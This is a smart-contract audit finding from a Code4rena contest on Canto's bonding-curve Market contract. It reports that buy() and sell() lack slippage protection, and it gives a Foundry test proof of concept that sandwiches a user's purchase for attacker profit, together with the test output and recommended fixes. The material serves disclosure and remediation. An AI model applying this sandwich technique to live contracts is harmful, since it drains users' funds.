Canto Application Specific Dollars and Bonding Curves for 1155s - Madalad's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 92/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150-L169

Vulnerability details

Impact

Bonding curves are particularly susceptible to MEV. Any Market#buy() transaction can be sandwiched by an MEV bot that buys a large amount of shares before the original buy tx, and sells all of them right after in the same block, earning a risk free profit (a similar attack is also possible for sell() transactions, though they require the MEV bot to be holding shares). Since the current implementation of Market has no slippage control whatsoever, the amount of funds that can be stolen from the caller in this way is effectively uncapped.

MEV sandwich attacks are very common, and so the likelihood and impact of this vulnerability are both high.

Proof of Concept

The PoC below shows a scenario where a buy of 50 shares is sandwiched, causing the buyer to pay ~7 times as much as expected, with the majority of those funds going to the attacker (and the rest being collected as fees). Drop the below test into Market.t.sol to run. Note that for the test to work, a public mint() function must be added to MockERC20 to set up the users balances. MockERC20 can also be found within Market.t.sol.

    function testSlippage() public {
        // Setup
        testCreateNewShare();
        address user = makeAddr("user");
        address attacker = makeAddr("attacker");
        token.mint(user, 100 ether);
        token.mint(attacker, 100 ether);

        uint256 userInitialBalance = token.balanceOf(user);
        uint256 attackerInitialBalance = token.balanceOf(attacker);

        console2.log("");
        console2.log("User initial balance:    ", userInitialBalance);
        console2.log("Attacker initial balance:", attackerInitialBalance);

        // User expects to pay 1.275e18 tokens to buy 50 shares
        (uint256 price,) = market.getBuyPrice(1, 50);
        assertEq(price, 1.275e18);

        // Attacker frontruns user buying 150 shares
        vm.startPrank(attacker);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 150);
        vm.stopPrank();

        // User buys 50 shares
        vm.startPrank(user);
        token.approve(address(market), type(uint256).max);
        market.buy(1, 50);
        vm.stopPrank();

        // Attacker sells all their shares
        vm.prank(attacker);
        market.sell(1, 150);

        // User receives their shares
        assertEq(market.tokensByAddress(1, attacker), 0);
        assertEq(market.tokensByAddress(1, user), 50);

        uint256 userFinalBalance = token.balanceOf(user);
        uint256 attackerFinalBalance = token.balanceOf(attacker);

        // User ended up paying > 8 ether instead of 1.275 ether
        assertGt(userInitialBalance - userFinalBalance, 8 ether);
        // Attacker profited > 7 ether
        assertGt(attackerFinalBalance - attackerInitialBalance, 7 ether);

        console2.log("");
        console2.log("User final balance:      ", userFinalBalance);
        console2.log("Attacker final balance:  ", attackerFinalBalance);
    }

Output:

Running 1 test for src/test/Market.t.sol:MarketTest [PASS] testSlippage() (gas: 765351) Logs: User initial balance: 100000000000000000000 Attacker initial balance: 100000000000000000000 User final balance: 91099642857142857171 Attacker final balance: 107132757378571428686 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.16ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Implement some form of slippage control to buy(), such as a maxAmount param in buy() that defines the maximum amount of tokens the user is willing to pay for the shares, and a minAmount param in sell() that defines the minimum amount of token tokens the user is willing to receive for their shares. Alternatively, implement a 1 block freeze between buying and selling, which will completely remove the risk free profit that MEV bots can earn.

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T10:05:22Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:30:06Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter